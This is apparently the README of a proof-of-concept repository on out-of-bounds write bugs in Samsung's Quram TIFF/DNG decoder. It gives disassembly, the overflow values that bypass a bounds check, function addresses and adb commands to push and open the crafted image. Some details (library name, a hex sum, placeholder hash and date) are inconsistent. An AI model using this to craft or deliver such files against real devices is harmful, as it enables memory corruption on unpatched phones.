生成特制的 TIFF/DNG 文件,以触发三星 libimagecodec.quram.so 中的越界写入,包含二进制分析与复现步骤。
本仓库包含概念性概念验证(PoC)文件,用于演示三星 Android 设备上使用的 Quramsoft 图像编解码器库(libimagecodec.quram.so)中的越界(OOB)写入漏洞。
| CVE | 格式 | 类型 | 严重性 | CVSS 4.0 | 修补版本 |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | 越界写入(CWE-787) | 严重 | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | 越界写入(CWE-787) | 高危 | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.so该漏洞位于 IFD(图像文件目录)标签解析函数 WINKJ_ReadExifField(64 位二进制中的偏移量 0x13a0a8)中。此函数处理单个 TIFF/EXIF IFD 条目,每个条目为 12 字节结构:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
当 count * element_size > 4 时,4 字节的 Value 字段被视为文件偏移量(指向实际数据所在位置)。随后代码在地址 0x13a258 处执行边界检查:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
该漏洞是加法中的32 位无符号整数溢出。如果攻击者精心构造 value_offset 和 count * element_size,使它们的和回绕为一个小值,则即使实际内存访问 base + value_offset 越界,检查也会通过。
示例(UNDEFINED 类型,element_size = 1):
32 位加法 0x17FFF + 0xFFFF0001 = 0x10008000 截断为 0x8000,等于 buffer_size。检查通过,但实际数据指针(base + 0x17FFF)位于所分配缓冲区末尾之外 0x7FFF 字节处。
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| 文件 | 描述 |
|---|---|
cve-2026-21045_tiff_oob_poc.py | 生成 poc_crash.tif — 通过带有精心构造的 count/offset 的 ASCII 标签触发越界写入的畸形 TIFF 文件 |
cve-2026-21048_dng_oob_poc.py | 生成 poc_crash.dng — 通过带有精心构造的 count/offset 的 UNDEFINED 标签触发越界写入的畸形 DNG 文件 |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
在未修补的设备(安全补丁级别 < 2026 年 7 月)上,在三星相册(或任何使用 Quram 解码器的应用)中打开精心构造的 TIFF/DNG 文件,应会导致堆内存损坏,可能引发:
在已修补的设备(SMR Jul-2026 及更高版本)上,图像应被拒绝为无效或被安全处理。在完全修补的设备上发生崩溃可能表明存在另一个未修补的问题。
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
从 WINKJ_ReadExifField 提取:
所有 element_size = 1 的类型(BYTE、ASCII、UNDEFINED)共享同一处理程序,并且同样容易受到整数溢出绕过的影响。
这些概念验证仅用于教育和安全研究目的。它们演示漏洞机制,以帮助用户和开发人员了解风险。请勿将它们用于不属于您或未经明确许可进行测试的系统。
| 字段 | 值(十六进制) | 十进制 |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535(mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000(溢出!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
检查结果:0x8000 <= 0x8000 | ✅ 通过 | — |
实际内存访问:base + 0x17FFF | 超出缓冲区 0x7FFF 字节 | ❌ 越界 |
| 函数 | 地址(64 位) | 大小 | 用途 |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | 解析单个 IFD 条目(易受攻击) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | 读取所有 IFD 条目 |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | 高层 TIFF 信息解析器 |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | 主要 TIFF 解析入口点 |
decodeTIFF | 0x1a2adc | 580 | 通过 libtiff 解码 TIFF 图像 |
getTIFFImageInfo | 0x1a2d20 | 508 | 获取 TIFF 图像元数据 |
copySubImageBuffer | 0x0b2824 | 324 | 复制子图像区域 |
TIFFReadDirectory | 0x1aac78 | 5896 | libtiff 4.6.0 目录读取器 |
_TIFFMultiply32 | 0x1a2f1c | 56 | 安全 32 位乘法检查 |
_TIFFMultiply64 | 0x1a2f58 | 48 | 安全 64 位乘法检查 |
| 类型 | 名称 | 元素大小 | 处理程序地址 |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | 描述 | 状态 |
|---|
| CVE-2025-58477 | libimagecodec.quram.so 中 IFD 标签解析的越界写入(SMR Dec-2025) | ✅ 已修补 |
| CVE-2026-20973 | libimagecodec.quram.so 中的越界读取(SMR Jan-2026) | ✅ 已修补 |
| CVE-2026-21045 | libimagecodec.media.quram.so 中 TIFF 解析的越界写入(SMR Jul-2026) | ⚠️ 对我来说未修补 |
| CVE-2026-21048 | libimagecodec.media.quram.so 中 DNG 解析的越界写入(SMR Jul-2026) | ⚠️ 对我来说未修补 |
| CVE-2026-4775 | libtiff 4.6.0 putcontig8bitYCbCr44tile 中的有符号整数溢出 | ⚠️ 对我来说未修补 |
| CVE-2024-7006 | libtiff tif_dirinfo.c 中的空指针解引用 | ✅ 已在 4.6.1 中修复 |